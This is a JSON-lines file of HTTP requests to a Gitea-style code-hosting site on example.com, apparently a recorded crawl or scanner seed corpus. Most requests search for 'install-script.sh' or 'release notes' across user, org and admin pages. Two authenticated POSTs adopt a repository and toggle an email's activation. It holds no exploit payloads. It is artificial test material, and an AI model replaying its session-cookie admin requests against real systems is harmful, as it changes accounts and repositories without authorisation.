{"method": "GET", "target": "/org/acme/milestones?type=&repos=%5B2%2C%5D&sort=&state=open&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/issues/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/milestones/developers?type=&repos=%5B%5D&sort=&state=open&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/milestones/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/teams/-/search?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/org/acme/teams", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/acme?q=install-script.sh&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/code?path=&q=install-script.sh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/code", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/projects?state=open&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/projects", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages/generic/tools-cli/versions?q=install-script.sh&sort=created_desc", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/packages/generic/tools-cli/versions", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages/npm/@alice%2Ftools-cli/versions?q=install-script.sh&sort=created_desc", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/packages/npm/@alice%2Ftools-cli/versions", "Accept-Encoding: gzip, deflate", "Cookie: session=e75e81138febd1bb; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/tags?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/tags", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/milestones?state=open&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/milestone/1?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestone/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/projects?state=open&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/projects", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/packages?q=install-script.sh&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues/posters?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/pulls/posters?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues/search?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues/suggestions?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/actions/runners?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/settings/actions/runners?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/settings/actions/runners?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/settings/actions/runners?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/users?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/orgs?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/orgs", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/repos?q=install-script.sh&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/repos/unadopted?search=true&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos/unadopted", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/emails?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/emails", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/packages?q=install-script.sh&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/admin/repos/unadopted", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Length: 62", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos/unadopted?search=true&q=install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": "id=alice%2Flegacy-site&action=adopt&q=install-script.sh&page=1"}
|
|
||||||
{"method": "POST", "target": "/admin/emails/activate", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Length: 107", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/emails?q=install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": "sort=email&q=install-script.sh&is_primary=&is_activated=&uid=2&email=bob%40example.com&primary=1&activate=0"}
|
|
||||||
{"method": "GET", "target": "/explore/topics/search?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/pulls?type=created_by&sort=recentupdate&project=ZgotmplZ&state=open&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/milestones?type=&repos=%5B2%2C1%2C%5D&sort=&state=open&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/issues/search?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=release%20notes&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/search_candidates?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/settings/collaboration", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/notifications/watching?q=release%20notes&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/notifications/watching", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/issues?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/pulls?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/milestones?type=&repos=%5B2%2C%5D&sort=&state=open&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/issues/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/milestones/developers?type=&repos=%5B%5D&sort=&state=open&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/milestones/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/teams/-/search?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/org/acme/teams", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/acme?q=release%20notes&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/code?path=&q=release%20notes&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/code", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/projects?state=open&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/projects", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
